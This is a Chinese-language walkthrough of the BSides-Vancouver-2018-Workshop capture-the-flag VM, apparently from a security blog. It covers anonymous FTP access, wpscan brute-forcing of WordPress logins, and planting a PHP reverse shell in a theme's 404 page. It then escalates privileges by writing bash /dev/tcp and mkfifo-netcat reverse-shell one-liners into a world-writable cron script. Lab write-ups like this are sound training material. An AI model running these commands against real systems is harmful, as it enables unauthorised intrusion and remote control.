BSides-Vancouver-2018-Workshop，ftp匿名登录，wordpress渗透-泷羽Sec

【oscp】BSides-Vancouver-2018-Workshop，ftp匿名登录，wordpress渗透

难度：相对简单，有很多种方法

主机发现

端口扫描

利用ftp的默认用户进行匿名登录，查看文件

ftp 192.168.209.136
cd public
get users.txt.bk

像是一个密码字典（其实是一个用户字典，当前系统用户包含了这些用户）

目录扫描

robots.txt爬虫协议

一个wordpress站点

继续目录扫描

利用wpscan发现可能存在的用户名，并使用msf的字典

 wpscan --url http://192.168.209.136/backup_wordpress -e u -P /usr/share/wordlists/metasploit/burnett_top_1024.txt

有俩个用户分别是john和admin，以及john的密码enigma

登录进去直接修改404反弹shell的php脚本（kali自带/usr/share/webshells/php/php-reverse-shell.php）

kali开启监听

反弹成功

创建交互式终端

python -c "import pty; pty.spawn('/bin/bash')"

基本信息收集，Ubuntu 12.04.4 LTS ，3.11.0-15没有内核提权漏洞，在往期的靶机中

我们查看数据库密码（站点用到的就是mysql肯定存在mysql服务），thiscannotbeit

登录成功

查看用户表

使用hash-identifier hash识别工具，识别hash类型

md5解密

切换思路，继续信息收集，查看文件权限为777的文件

find / -perm 777 -type f 2>/dev/null

那么就可以直接反弹shell提权

echo '/bin/bash -i >& /dev/tcp/192.168.209.130/6666 0>&1' > cleanup
./cleanup

kali端是有反应的，自动退出了

换一个反弹shell命令

echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.209.130 6666 >/tmp/f' > cleanup
./cleanup

往期推荐

本站内容部分转载于互联网，并不代表本站立场！如若本站内容侵犯了原著者的合法权益，可联系我们进行处理！拒绝任何人以任何形式在本站发表与中华人民共和国法律相抵触的言论！

THE END